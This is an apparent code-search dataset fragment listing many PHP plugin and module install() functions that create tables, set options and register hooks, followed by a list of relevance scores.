true;\n\n }", "function wrmp_install()\n{\n\tglobal $lang;\n\n\tif(!$lang->wrmp)\n\t{\n\t\t$lang->load('wrmp');\n\t}\n\n\tif(!class_exists('WildcardPluginInstaller'))\n\t{\n\t\trequire_once MYBB_ROOT . 'inc/plugins/wrmp/classes/installer.php';\n\t}\n\t$installer = new WildcardPluginInstaller(MYBB_ROOT . 'inc/plugins/wrmp/install_data.php');\n\t$installer->install();\n}", "public function install() {\n\t\t$api_key = String::generate_key();\n\t\t$get_existing_key = get_option( $this->api_key_option_name );\n\t\tif ( false == $get_existing_key ) {\n\t\t\tupdate_option( $this->api_key_option_name, $api_key );\n\t\t}\n\t}", "function install($data='') {\n parent::install();\n\n\n }", "public static function install()\n\t{\n\t\tmanpower_create_page_with_slug(MANPOWER_DEFAULT_CATALOG_SLUG);\n\t\tupdate_option('mp_catalog_slug', MANPOWER_DEFAULT_CATALOG_SLUG);\n\t\tupdate_option('mp_worker_slug', MANPOWER_DEFAULT_WORKER_SLUG);\t\t\n\t}", "public function install()\n {\n Configuration::updateValue('APISFACT_PRESTASHOP_TOKEN', '');\n\n Configuration::updateValue('APISFACT_PRESTASHOP_SERIEF', 'F001');\n Configuration::updateValue('APISFACT_PRESTASHOP_NUMEROF', '0');\n\n Configuration::updateValue('APISFACT_PRESTASHOP_SERIEB', 'B001');\n Configuration::updateValue('APISFACT_PRESTASHOP_NUMEROB', '0');\n\n include(dirname(__FILE__).'/sql/install.php');\n\n return parent::install() &&\n $this->registerHook('header') &&\n $this->registerHook('backOfficeHeader') &&\n $this->registerHook('displayAdminOrderLeft') &&\n $this->registerHook('displayAdminOrderMain');\n }", "function install($data='') {\n parent::install();\n }", "function install($data='') {\n parent::install();\n }", "function install($data='') {\n parent::install();\n }", "function install($data='') {\n parent::install();\n }", "function install($data='') {\n parent::install();\n }", "function owa_install() {\r\n\r\n\tdefine('OWA_INSTALLING', true);\r\n\t\r\n\t$params = array();\r\n\t//$params['do_not_fetch_config_from_db'] = true;\r\n\r\n\t$owa = owa_getInstance($params);\r\n\t$owa->setSetting('base', 'cache_objects', false);\t\r\n\t$public_url = get_bloginfo('wpurl').'/wp-content/plugins/owa/';\r\n\t\r\n\t$install_params = array('site_id' => md5(get_settings('siteurl')), \r\n\t\t\t\t\t\t\t'name' => get_bloginfo('name'),\r\n\t\t\t\t\t\t\t'domain' => get_settings('siteurl'), \r\n\t\t\t\t\t\t\t'description' => get_bloginfo('description'),\r\n\t\t\t\t\t\t\t'action' => 'base.installEmbedded',\r\n\t\t\t\t\t\t\t'db_type' => 'mysql',\r\n\t\t\t\t\t\t\t'db_name' => DB_NAME,\r\n\t\t\t\t\t\t\t'db_host' => DB_HOST,\r\n\t\t\t\t\t\t\t'db_user' => DB_USER,\r\n\t\t\t\t\t\t\t'db_password' => DB_PASSWORD,\r\n\t\t\t\t\t\t\t'public_url' => $public_url\r\n\t\t\t\t\t\t\t);\r\n\t\r\n\t$owa->handleRequest($install_params);\r\n}", "public function install()\n\t{\n\t\treturn true;\n\t}", "function wlms_plugin_install()\n{\n wlms_create_table();\n wlms_settings_data();\n}", "public static function WCH_install () {\n\t\tglobal $wpdb;\n\t\t$table_name = $wpdb->prefix . \"whichet\";\n\t\t$sql = \"CREATE TABLE $table_name (\n\t\t\tid mediumint(9) NOT NULL AUTO_INCREMENT,\n\t\t\ttime datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,\n\t\t\tWCH_id tinytext NOT NULL,\n\t\t\tWCH_category tinytext NOT NULL,\n\t\t\tWCH_A_text text NOT NULL,\n\t\t\tWCH_A_link VARCHAR(55) NOT NULL,\n\t\t\tWCH_A_display_count smallint NOT NULL,\n\t\t\tWCH_A_click_count smallint NOT NULL,\n\t\t\tWCH_B_text text NOT NULL,\n\t\t\tWCH_B_link VARCHAR(55) NOT NULL,\n\t\t\tWCH_B_display_count smallint NOT NULL,\n\t\t\tWCH_B_click_count smallint NOT NULL,\n\t\t\tUNIQUE KEY id (id)\n );\";\n\t\t\n\t\trequire_once( ABSPATH . 'wp-admin/includes/upgrade.php' );\n\t\tdbDelta( $sql );\n\t}", "function install_plugin_information()\n {\n }", "public function install()\n {\n $this->initConfig();\n $this->loadConfig();\n $this->config['installed']=GPC_VERSION2;\n $this->saveConfig();\n\n $result=GPCRequestBuilder::createTables();\n return($result);\n }", "public function install() {\n $this->load->model('extension/module/export_yml');\n $this->model_extension_module_export_yml->installPromCategoryTable();\n $this->model_extension_module_export_yml->installPromProductTable();\n }", "public function install() {\r\n\t\tadd_option(ShoppWholesale::OPTION_NAME, $this->defaults);\r\n\t}", "function install()\n {\n \t// Creating tables\n\t\t\tinclude('db/tables.php');\n }", "function install(){\r\n $options = $this->get_options();\r\n $isnew = false;\r\n if(!$installed_version = get_option('twitlink_version')){\r\n // no cl_version saved yet, set it to start of version 3\r\n $installed_version = '2.30';\r\n $isnew = true;\r\n }\r\n if(!$isnew){\r\n // new recode version from 1.27 to 1.30\r\n if(version_compare($this->php_version($installed_version),'1.2.7','>') && version_compare($this->php_version($installed_version),'1.3.0','<')){\r\n // use new default values\r\n $options = $this->get_options(true);\r\n }\r\n\r\n // update options (do this at the end so all the updates can happen first)\r\n update_option($this->db_option,$options); \r\n }\r\n // update twitlink_version in db\r\n if($this->version != $installed_version){\r\n update_option('twitlink_version',$this->version);\r\n }\r\n // add db table if it doesn't exist (backwards compatible with wp-twitip-id plugin)\r\n global $wpdb;\r\n $table_name = $wpdb->prefix . \"wptwitipid\";\r\n if($wpdb->get_var(\"show tables like '$table_name'\") != $table_name) {\r\n $sql = \"CREATE TABLE \" . $table_name . \" (\r\n id mediumint(9) NOT NULL AUTO_INCREMENT,\r\n email varchar(120) NOT NULL,\r\n twitid varchar(120) NOT NULL,\r\n PRIMARY KEY (id),\r\n UNIQUE KEY (email)\r\n );\";\r\n require_once(ABSPATH . 'wp-admin/includes/upgrade.php');\r\n dbDelta($sql); \r\n }\r\n }", "function jbInstall($step){\n\t}", "public function install(): bool;", "public function install () {\n $this->_log_version_number();\n }", "public function initialInstall()\n\t\t{\n\t\t\t$installer = $this->getInstaller();\n\t\t\t$installer->newTable($installer->getResourceTable('core/extension'))\n\t\t\t->addColumn('code', $installer::TYPE_TEXT, 50, array(\n\t\t\t\t'nullable' => FALSE,\n\t\t\t\t'default' => '',\n\t\t\t\t'primary' => TRUE,\n\t\t\t\t),'Extension identifier')\n\t\t\t->addColumn('version', $installer::TYPE_TEXT, 50, array(\n\t\t\t\t'nullable' => FALSE,\n\t\t\t\t'default' => '',\n\t\t\t\t),'The currently installed version of this extension')\n\t\t\t->setComment('List of ZeroG installed extensions and their version number');\n\t\t\t$installer->run();\n\t\t}", "public function install()\n\t{\n\t\t$data = array(\n\t\t\t'module_name' => $this->module_name,\n\t\t\t'module_version' => $this->version,\n\t\t\t'has_cp_backend' => 'y',\n\t\t\t'has_publish_fields' => 'n'\n\t\t);\n\n\t\t$this->EE->db->insert('modules', $data);\n\n\t\treturn TRUE;\n\t}", "function install_site() {\n \n}", "public function install()\n {\n Configuration::updateValue('WI_WEATHER_ENABLED', '0');\n Configuration::updateValue('WI_WEATHER_PROVIDER', '');\n Configuration::updateValue('WI_WEATHER_KEY', '');\n Configuration::updateValue('WI_WEATHER_CITY', '');\n return parent::install() &&\n $this->registerHook('header') &&\n $this->registerHook('backOfficeHeader') &&\n $this->registerHook('displayNav') &&\n $this->registerHook('displayNav1');\n }", "function ispapissl_addon_activate(): array\n{\n return ['status' => 'success','description' => 'Installed'];\n}", "function test_install(){\n \t}", "function install( $parent ) {\n\n\t\t// echo JText::_('COM_MAPYANDEX_INSTALL');\n\t\t// You can have the backend jump directly to the newly installed component configuration page\n\t\t// $parent->getParent()->setRedirectURL('index.php?option=com_democompupdate');\n\t}", "public function install()\n {\n Configuration::updateValue('MF_TITLE', 'Our Favourite Brands');\n Configuration::updateValue('MF_DESCRIPTION', 'Browse our favourite brands');\n Configuration::updateValue('MF_MAN_NUMBER', 0);\n Configuration::updateValue('MF_PER_ROW_DESKTOP', 4);\n Configuration::updateValue('MF_PER_ROW_TABLET', 3);\n Configuration::updateValue('MF_PER_ROW_MOBILE', 1);\n Configuration::updateValue('MF_MAN_ORDER', 'name_asc');\n Configuration::updateValue('MF_SHOW_MAN_NAME', 0);\n\n return parent::install() &&\n $this->registerHook('header') &&\n $this->registerHook('displayHome');\n }", "public function install($data = array()) {\n\t\t$this->pkg = parent::install();\n\n\t// Installing\n\t\t $this->installOrUpgrade($data);\n\t}", "public static function createInstallToolEnableFile() {}", "public function install()\n\t{\n\t\tif (Shop::isFeatureActive()) {\n\t\t\tShop::setContext(Shop::CONTEXT_ALL);\n\t\t}\n\n\t\t//initialize empty settings\n\t\tConfiguration::updateValue('CLERK_PUBLIC_KEY', '');\n\t\tConfiguration::updateValue('CLERK_PRIVATE_KEY', '');\n\n\t\tConfiguration::updateValue('CLERK_SEARCH_ENABLED', 0);\n\t\tConfiguration::updateValue('CLERK_SEARCH_TEMPLATE', '');\n\n\t\tConfiguration::updateValue('CLERK_LIVESEARCH_ENABLED', 0);\n\t\tConfiguration::updateValue('CLERK_LIVESEARCH_INCLUDE_CATEGORIES', 0);\n\t\tConfiguration::updateValue('CLERK_LIVESEARCH_TEMPLATE', '');\n\n\t\tConfiguration::updateValue('CLERK_POWERSTEP_ENABLED', 0);\n\t\tConfiguration::updateValue('CLERK_POWERSTEP_TEMPLATES', '');\n\n\t\treturn parent::install() &&\n $this->registerHook('top') &&\n\t\t\t$this->registerHook('footer') &&\n\t\t\t$this->registerHook('displayOrderConfirmation');\n\t}", "function install($parent)\n\t{\n\t\t// Connect with DB\n\t\t$db = JFactory::getDbo();\n\n\t\t// Query to update plugin\n\t\t$query = $db->getQuery(true);\n\n\t\t$fields = array(\n\t\t\t$db->quoteName('enabled') . ' = 1',\n\t\t\t$db->quoteName('params') . ' = ' . $db->quote('{\"enabled\":\"1\",\"autopurge\":\"1\",\"maxage\":60,\"excluded_components\":[\"com_users\"]}'),\n\t\t);\n\n\t\t$conditions = array(\n\t\t\t$db->quoteName('element') . ' = ' . $db->quote('bytevarnish'),\n\t\t\t$db->quoteName('type') . ' = ' . $db->quote('plugin'),\n\t\t);\n\n\t\t$query->update($db->quoteName('#__extensions'))->set($fields)->where($conditions);\n\t\t$db->setQuery($query);\n\t\t$result = $db->execute();\n\n\t\tJFactory::getApplication()->enqueueMessage('Plugin \\'Byte Varnish\\' is enabled', 'message');\n\t}", "public function install()\r\n {\r\n if (!get_option('ohs_newsletter_installed')) {\r\n global $wpdb;\r\n $charset_collate = $wpdb->get_charset_collate();\r\n $fullTableName = $wpdb->prefix . self::$tableName;\r\n\r\n $sql = \"CREATE TABLE $fullTableName (\r\n id mediumint(9) UNSIGNED NOT NULL AUTO_INCREMENT,\r\n first_name varchar(100) NOT NULL,\r\n last_name varchar(100) NOT NULL,\r\n email varchar(100) NOT NULL,\r\n validation_code varchar(200) NOT NULL,\r\n PRIMARY KEY id (id)\r\n ) $charset_collate;\";\r\n\r\n dbDelta($sql);\r\n add_option('ohs_newsletter_installed', 1);\r\n\r\n add_option('ohs_newsletter_sendgrid_api', \"\");\r\n add_option('ohs_newsletter_sendgrid_list', \"\");\r\n add_option('ohs_newsletter_redirect', \"\");\r\n }\r\n }", "function install($data = '')\n {\n parent::install();\n }", "function install($data = '')\n {\n parent::install();\n }", "public function install() {\n\t\t\t$date = Symphony::Configuration()->get('date_format', 'region');\n\t\t\t$time = Symphony::Configuration()->get('time_format', 'region');\n\t\t\t$separator = Symphony::Configuration()->get('datetime_separator', 'region');\n\n\t\t\t// Store current date and time settings\n\t\t\tSymphony::Configuration()->set('date_format', $date, 'lang-slovak-storage');\n\t\t\tSymphony::Configuration()->set('time_format', $time, 'lang-slovak-storage');\n\t\t\tSymphony::Configuration()->set('datetime_separator', $separator, 'lang-slovak-storage');\n\t\t\tSymphony::Configuration()->write();\n\t\t}", "abstract public function installPhpMyAdmin();", "function install($parent) {\n // $parent is the class calling this method\n //$parent->getParent()->setRedirectURL('index.php?option=com_helloworld');\n\n // installing module\n $module_installer = new JInstaller;\n if($module_installer->install(dirname(__FILE__).DS.'admin'.DS.'module'))\n echo 'Module install success', '<br />';\n else\n echo 'Module install failed', '<br />';\n\n // installing plugin\n $plugin_installer = new JInstaller;\n if($plugin_installer->install(dirname(__FILE__).DS.'admin'.DS.'plugin'))\n echo 'Plugin install success', '<br />';\n else\n echo 'Plugin install failed', '<br />';\n\n // installing router\n $plugin_installer = new JInstaller;\n if($plugin_installer->install(dirname(__FILE__).DS.'admin'.DS.'router'))\n echo 'Router install success', '<br />';\n else\n echo 'Router install failed', '<br />';\n\n // enabling plugin\n $db =& JFactory::getDBO();\n $db->setQuery('update #__extensions set enabled = 1 where element = \"jumi\" and folder = \"system\"');\n $db->query();\n\n // enabling router\n $db->setQuery('update #__extensions set enabled = 1, ordering = 100 where element = \"jumirouter\" and folder = \"system\"');\n $db->query();\n }", "public function installPlugin()\n\t{\n\t\treturn true;\t\n\t}", "public function install() {\n $this->load->model($this->module_path);\n\n $this->helper_pricealert->createTables();\n\n $this->__registerEvents();\n }", "public function install()\n {\n // Set up module config variables\n $this->setVar('ztools_backupsdir', 'userdata/Ztools/backups');\n $this->setVar('ztools_scriptsdir', 'userdata/Ztools/scripts');\n $this->setVar('ztools_scriptssort', '0');\n $this->setVar('ztools_scriptseditor', '1');\n $this->setVar('ztools_showphpinfo', '1');\n $this->setVar('ztools_downloaduseranges', '0');\n $this->setVar('ztools_url_cpanel', '');\n $this->setVar('ztools_url_phpmyadmin', '');\n $this->setVar('ztools_exportmethod', '2');\n $this->setVar('ztools_exportcompress', '0');\n $this->setVar('ztools_expmethodshow', '1');\n $this->setVar('ztools_mysqldumpexe', '');\n\n // Register hooks\n HookUtil::registerSubscriberBundles($this->version->getHookSubscriberBundles());\n\n return true;\n }", "public function install() {\n\t\t\t$date = Symphony::Configuration()->get('date_format', 'region');\n\t\t\t$time = Symphony::Configuration()->get('time_format', 'region');\n\t\t\t$separator = Symphony::Configuration()->get('datetime_separator', 'region');\n\n\t\t\t// Store current date and time settings\n\t\t\tSymphony::Configuration()->set('date_format', $date, 'lang-Finnish-storage');\n\t\t\tSymphony::Configuration()->set('time_format', $time, 'lang-Finnish-storage');\n\t\t\tSymphony::Configuration()->set('datetime_separator', $separator, 'lang-Finnish-storage');\n\t\t\tSymphony::Configuration()->write();\n\t\t}", "public function installPlugins(){\n\n $listPlugin = $this->sanitizePluginsArray();\n\n foreach ($listPlugin as $Plugin) {\n $command = \"{$this->node} {$this->ltpm} install {$Plugin['filename']}\";\n\n exec($command,$output);\n\n Artisan::call('lt-plugin:update',['--vendor-name'=> $Plugin['vendor'].','.$Plugin['name'], '--silent' => true]);\n\n Artisan::call('lt-migration:up',['--vendor-name'=>$Plugin['vendor'].','.$Plugin['name'], '--silent' => true]);\n }\n }", "function install() {\n\t\techo \"\\nModule xlyre will be installed.\\n\";\n \t$this->loadConstructorSQL(\"xlyre.constructor.sql\");\n\t\t/*$name = \"xlyre\";\n $extension = \"xml\";\n $complexName = sprintf(\"%s.%s\", $name, $extension);\n $description = \"OpenData channel\";\n $renderMode = \"ximdex\";\n\n $nodeType = new NodeType();\n $nodeType->SetByName('Channel');\n\n\t\t$node = new Node();\n\t\t$idNode = $node->CreateNode($complexName, 9,$nodeType->GetID(), NULL);\n\n\t\t$ch=new Channel($idNode);\n\t\t$result=$ch->CreateNewChannel($name, $extension, NULL, $description, $idNode, NULL, $renderMode);\n if ($result > 0) {\n echo \"Channel has been succesfully created\\n\";\n }\n\t\telse{\n\t\t\techo \"There was a problem creating the xlyre channel\\n\";\n\t\t}*/\n\n parent::install();\n\t}", "public static function install()\n {\n DataWebGl::createTable();\n }", "public function install()\n\t{\n\t\tif ('yes' == $this->options['enable_fly_min'])\n\t\t\t$this->_add_rewrite_rules();\n\t}", "public function install_module_register()\n {\n $this->EE->db->insert('modules', array(\n 'has_cp_backend' => 'y',\n 'has_publish_fields' => 'n',\n 'module_name' => ucfirst($this->get_package_name()),\n 'module_version' => $this->get_package_version()\n ));\n }", "public function install() {\r\n\tforeach ($this->getModel() AS $model) {\r\n\t $this->getEntity($model->getName())->createTable();\r\n\t}\r\n }", "public function install()\n {\n /**\n * Add the information into the database.\n * This is commented out so we don't actually\n * create anything.\n */\n $this->uninstall();\n $sql = Schema::createTable(\n $this->tablename,\n true,\n array(\n 'rID',\n 'rName',\n 'rDesc',\n 'rCreatedBy',\n 'rCreatedTime'\n ),\n array(\n 'INTEGER',\n 'VARCHAR(255)',\n 'LONGTEXT',\n 'VARCHAR(40)',\n 'TIMESTAMP'\n ),\n array(\n false,\n false,\n false,\n false,\n false\n ),\n array(\n false,\n false,\n false,\n false,\n 'CURRENT_TIMESTAMP'\n ),\n array(\n 'rID',\n 'rName'\n ),\n 'MyISAM',\n 'utf8',\n 'rID',\n 'rID'\n );\n\n if (!self::$DB->query($sql)) {\n return false;\n } else {\n $sql = sprintf(\n \"INSERT INTO `%s` VALUES\"\n . \"(1, 'Administrator', 'FOG Administrator', 'fog', NOW()),\"\n . \"(2, 'Technician', 'FOG Technician', 'fog', NOW())\",\n $this->tablename\n );\n self::$DB->query($sql);\n }\n return self::getClass('AccessControlAssociationManager')->install();\n }", "public function install()\n {\n if (!parent::install()\n || !$this->registerHook('displayBackOfficeHeader')\n || !$this->installModuleTab('onehopsmsservice', array(\n 1 => 'Onehop SMS Services'\n ), 0)\n || !$this->installDB()\n || !$this->registerHook('orderConfirmation')\n || !$this->registerHook('postUpdateOrderStatus')\n || !$this->registerHook('actionUpdateQuantity')\n || !$this->registerHook('actionObjectProductUpdateAfter')) {\n return false;\n }\n return true;\n }", "public function install()\n {\n return parent::install()\n && $this->registerHook('payment')\n && $this->registerHook('paymentReturn')\n && $this->defaultConfiguration()\n && $this->createDatabaseTables();\n }", "function install($data='') {\n subscribeToEvent($this->name, 'SAY');\n parent::install();\n }", "function install($parent)\n\t{\n\t\t$this->com_install();\n\t}", "function install() {\n /*\n * do some stuff at install db table creation/modification, email template creation etc.\n * \n * \n */\n return parent::install();\n }", "public function install($parent)\n\t{\n\t}", "public function install($parent)\n\t{\n\t}", "private function _install() {\r\n// `id` int(11) NOT NULL,\r\n// `language_id` int(11) NOT NULL,\r\n// `human_name` mediumtext NOT NULL,\r\n// `machine_name` varchar(255) NOT NULL,\r\n// `is_active` enum('0','1') NOT NULL,\r\n// PRIMARY KEY(`id`)\r\n// ) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n// CREATE TABLE IF NOT EXISTS `security_attributes_values` (\r\n// `id` int(11) NOT NULL,\r\n// `user_id` int(11) NOT NULL,\r\n// `attribute_id` int(11) NOT NULL,\r\n// `value` mediumtext NOT NULL,\r\n// PRIMARY KEY(`id`)\r\n// ) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n }", "public function install($parent)\n\t{\n\t\t?>\n\t\t<hr>\n\t\t<h1>JoomLeague Installation</h1>\n\t\t<?php \n\t\t\n\t\tself::_install(false);\n\t}", "public function install() {\n\t\t\t// depends on \"oembed_field\"\n\t\t\tif (!static::checkDependency('oembed_field')) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tif (!static::checkDependencyVersion('oembed_field', '1.8.9')) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t// depends on \"languages\"\n\t\t\tif (!static::checkDependency('languages')) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t// depends on \"frontend_localisation\"\n\t\t\tif (!static::checkDependency('frontend_localisation')) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tself::requireoEmbed();\n\t\t\t$create = FieldMultilingual_oembed::createFieldTable();\n\t\t\treturn $create;\n\t\t\t\n\t\t}", "public function preInstall()\n {\n }", "public function install($parent)\n\t{\n\t\t// Enable plugin\n\t\t$db\t\t= JFactory::getDbo();\n\t\t$query\t= $db->getQuery(true);\n\t\t$query->update('#__extensions');\n\t\t$query->set($db->quoteName('enabled') . ' = 1');\n\t\t$query->where($db->quoteName('element') . ' = ' . $db->quote('lessallrounder'));\n\t\t$query->where($db->quoteName('type') . ' = ' . $db->quote('plugin'));\n\n\t\t$db->setQuery($query);\n\t\t$db->execute();\n\t}", "public function install()\n {\n $carrierConfig = array(\n 0 => array(\n 'name' => 'Custom Shipping',\n 'active' => true,\n 'deleted' => 0,\n 'id_tax_rule_group' => '2',\n 'shipping_handling' => false,\n 'range_behavior' => 0,\n 'delay' => array(\n 'fr' => 'Custom',\n 'en' => 'Custom',\n Language::getIsoById(Configuration::get('PS_LANG_DEFAULT')) => 'Custom',\n ),\n 'is_module' => true,\n 'shipping_external' => true,\n 'external_module_name' => 'ts_customshipping',\n 'need_range' => true,\n ),\n );\n\n $id_carrier1 = $this->installExternalCarrier($carrierConfig[0]);\n $Carrier = new Carrier((int) $id_carrier1);\n $Carrier->setTaxRulesGroup((int) $this->getTaxRulesGroupMostUsed());\n Configuration::updateValue('TS_CUSTOM_SHIPPING_CARRIER_ID', (int) $id_carrier1);\n\n return parent::install() && $this->registerHook('displayBackOfficeHeader');\n }", "function top10_install() {\r\n/* Creates new database field */\r\n//add_option('omekafeedpull_omekaroot', '/omeka', '', 'yes');\r\n}", "public function install()\n {\n // initialisation successful\n return true;\n }", "function install() {\r\n global $db;\r\n $db->Execute(\"insert into \" . TABLE_CONFIGURATION . \" (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, date_added) values ('Enable Authorize.net (eCheck) Module', 'MODULE_PAYMENT_AUTHORIZENET_ECHECK_STATUS', 'True', 'Do you want to accept eCheck payments via Authorize.net?', '6', '0', 'zen_cfg_select_option(array(\\'True\\', \\'False\\'), ', now())\");\r\n $db->Execute(\"insert into \" . TABLE_CONFIGURATION . \" (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, date_added) values ('Login ID', 'MODULE_PAYMENT_AUTHORIZENET_ECHECK_LOGIN', 'testing', 'The API Login ID used for the Authorize.net service', '6', '0', now())\");\r\n $db->Execute(\"insert into \" . TABLE_CONFIGURATION . \" (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, date_added, use_function) values ('Transaction Key', 'MODULE_PAYMENT_AUTHORIZENET_ECHECK_TXNKEY', 'Test', 'Transaction Key used for encrypting TP data<br />(See your Authorizenet Account->Security Settings->API Login ID and Transaction Key for details.)', '6', '0', now(), 'zen_cfg_password_display')\"); \r\n $db->Execute(\"insert into \" . TABLE_CONFIGURATION . \" (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, date_added, use_function) values ('MD5 Hash', 'MODULE_PAYMENT_AUTHORIZENET_ECHECK_MD5HASH', '*Set A Hash Value at AuthNet Admin*', 'Encryption key used for validating received transaction data (MAX 20 CHARACTERS)', '6', '0', now(), 'zen_cfg_password_display')\");\r\n $db->Execute(\"insert into \" . TABLE_CONFIGURATION . \" (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, date_added) values ('Transaction Mode', 'MODULE_PAYMENT_AUTHORIZENET_ECHECK_TESTMODE', 'Test', 'Transaction mode used for processing orders', '6', '0', 'zen_cfg_select_option(array(\\'Test\\', \\'Production\\'), ', now())\");\r\n $db->Execute(\"insert into \" . TABLE_CONFIGURATION . \" (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, date_added) values ('Authorization Type', 'MODULE_PAYMENT_AUTHORIZENET_ECHECK_AUTHORIZATION_TYPE', 'Authorize', 'Do you want submitted credit card transactions to be authorized only, or authorized and captured?', '6', '0', 'zen_cfg_select_option(array(\\'Authorize\\', \\'Authorize+Capture\\'), ', now())\");\r\n $db->Execute(\"insert into \" . TABLE_CONFIGURATION . \" (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, date_added) values ('Enable Database Storage', 'MODULE_PAYMENT_AUTHORIZENET_ECHECK_STORE_DATA', 'True', 'Do you want to save the gateway communications data to the database?', '6', '0', 'zen_cfg_select_option(array(\\'True\\', \\'False\\'), ', now())\");\r\n $db->Execute(\"insert into \" . TABLE_CONFIGURATION . \" (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, date_added) values ('Customer Notifications', 'MODULE_PAYMENT_AUTHORIZENET_ECHECK_EMAIL_CUSTOMER', 'False', 'Should Authorize.Net email a receipt to the customer?', '6', '0', 'zen_cfg_select_option(array(\\'True\\', \\'False\\'), ', now())\");\r\n $db->Execute(\"insert into \" . TABLE_CONFIGURATION . \" (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, date_added) values ('Merchant Notifications', 'MODULE_PAYMENT_AUTHORIZENET_ECHECK_EMAIL_MERCHANT', 'False', 'Should Authorize.Net email a receipt to the merchant?', '6', '0', 'zen_cfg_select_option(array(\\'True\\', \\'False\\'), ', now())\");\r\n $db->Execute(\"insert into \" . TABLE_CONFIGURATION . \" (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, date_added) values ('Sort order of display.', 'MODULE_PAYMENT_AUTHORIZENET_ECHECK_SORT_ORDER', '0', 'Sort order of display. Lowest is displayed first.', '6', '0', now())\");\r\n $db->Execute(\"insert into \" . TABLE_CONFIGURATION . \" (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, use_function, set_function, date_added) values ('Payment Zone', 'MODULE_PAYMENT_AUTHORIZENET_ECHECK_ZONE', '0', 'If a zone is selected, only enable this payment method for that zone.', '6', '2', 'zen_get_zone_class_title', 'zen_cfg_pull_down_zone_classes(', now())\");\r\n $db->Execute(\"insert into \" . TABLE_CONFIGURATION . \" (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, use_function, date_added) values ('Set Order Status', 'MODULE_PAYMENT_AUTHORIZENET_ECHECK_ORDER_STATUS_ID', '1', 'Set the status of orders made with this payment module to this value', '6', '0', 'zen_cfg_pull_down_order_statuses(', 'zen_get_order_status_name', now())\");\r\n $db->Execute(\"insert into \" . TABLE_CONFIGURATION . \" (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, date_added) values ('Debug Mode', 'MODULE_PAYMENT_AUTHORIZENET_ECHECK_DEBUGGING', 'Off', 'Would you like to enable debug mode? A complete detailed log of failed transactions may be emailed to the store owner.', '6', '0', 'zen_cfg_select_option(array(\\'Off\\', \\'Log File\\', \\'Log and Email\\'), ', now())\");\r\n $db->Execute(\"insert into \" . TABLE_CONFIGURATION . \" (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, date_added) values ('Wells Fargo SecureSource Merchant', 'MODULE_PAYMENT_AUTHORIZENET_ECHECK_WFSS_ENABLED', 'False', 'Are you a Wells Fargo SecureSource merchant? eCheck transactions will collect additional information from customers. Set to True only if your account has been configured to use Wells Fargo SecureSource.', '6', '0', 'zen_cfg_select_option(array(\\'False\\', \\'True\\'), ', now())\");\r\n }", "public function install()\n {\n\n return parent::install() &&\n $this->registerHook('actionAdminControllerSetMedia') &&\n $this->registerHook('displayAdminProductsQuantitiesStepBottom') ;\n \n }", "public static function install() {\n $sql = 'CREATE TABLE IF NOT EXISTS `'.self::tableName.'` (\n `instruction_id` INT UNSIGNED NOT NULL AUTO_INCREMENT,\n `order_id` INT UNSIGNED NOT NULL,\n `number` varchar(64) NOT NULL,\n `hash` varchar(128) NOT NULL,\n `is_cash` TINYINT NOT NULL,\n `bank_account` VARCHAR(64),\n `amount` decimal(10,2) NOT NULL,\n `currency` varchar(3) NOT NULL,\n `channel` INT UNSIGNED NOT NULL,\n PRIMARY KEY (`instruction_id`)\n ) DEFAULT CHARSET=utf8;';\n db_query($sql);\n }", "public static function install() {\n\t\terror_log('INSTALLL plugin');\n\t\t$product_list = Product_List::get();\n\t\t$product_list->create_product_list_table();\n\t\t$product_list->create_product_list_detail_table();\n\t\tadd_option( 'product_list_version', Product_List::PRODUCT_LIST_VERSION );\n\n\t\twp_schedule_event( time(), 'hourly', 'my_cron_event' );\n\n\t}", "public function install()\n {\n include(dirname(__FILE__).'/sql/install.php');\n\n return parent::install() &&\n $this->registerHook('header') &&\n $this->registerHook('backOfficeHeader') &&\n $this->registerHook('displayHome');\n }", "function AdminUsers_install()\n\t{\n\t}", "protected function afterInstall()\n {\n }" ]
[ "0.7131105", "0.7053783", "0.7014293", "0.7014293", "0.68084145", "0.6804458", "0.676204", "0.66855407", "0.66785353", "0.66421556", "0.66421556", "0.6457096", "0.6437862", "0.64367026", "0.62964314", "0.6275614", "0.62715805", "0.62634015", "0.62391746", "0.62187296", "0.62043554", "0.6201959", "0.61964726", "0.6119737", "0.6119737", "0.6117459", "0.60884595", "0.60616004", "0.60583025", "0.6051943", "0.60288715", "0.60136515", "0.60136515", "0.60136515", "0.60136515", "0.60136515", "0.5992444", "0.59697163", "0.59667116", "0.5961811", "0.5948854", "0.59433854", "0.59393644", "0.59323853", "0.59249943", "0.5916488", "0.5915509", "0.5906336", "0.5887669", "0.58686125", "0.5852549", "0.5842776", "0.5842242", "0.5833771", "0.5810668", "0.58082676", "0.5806585", "0.5780349", "0.57748795", "0.57705283", "0.5764665", "0.5756668", "0.5741098", "0.5741098", "0.5741031", "0.57403696", "0.57115114", "0.57001", "0.56985086", "0.56945515", "0.56902426", "0.5688833", "0.56773186", "0.5675851", "0.5675645", "0.5668936", "0.56601006", "0.5658413", "0.56564444", "0.5656288", "0.5655605", "0.5645046", "0.56389666", "0.5634389", "0.5634389", "0.5634285", "0.563098", "0.5629617", "0.5613761", "0.5611789", "0.55964077", "0.55930585", "0.55913997", "0.5584494", "0.5578711", "0.55739486", "0.55689174", 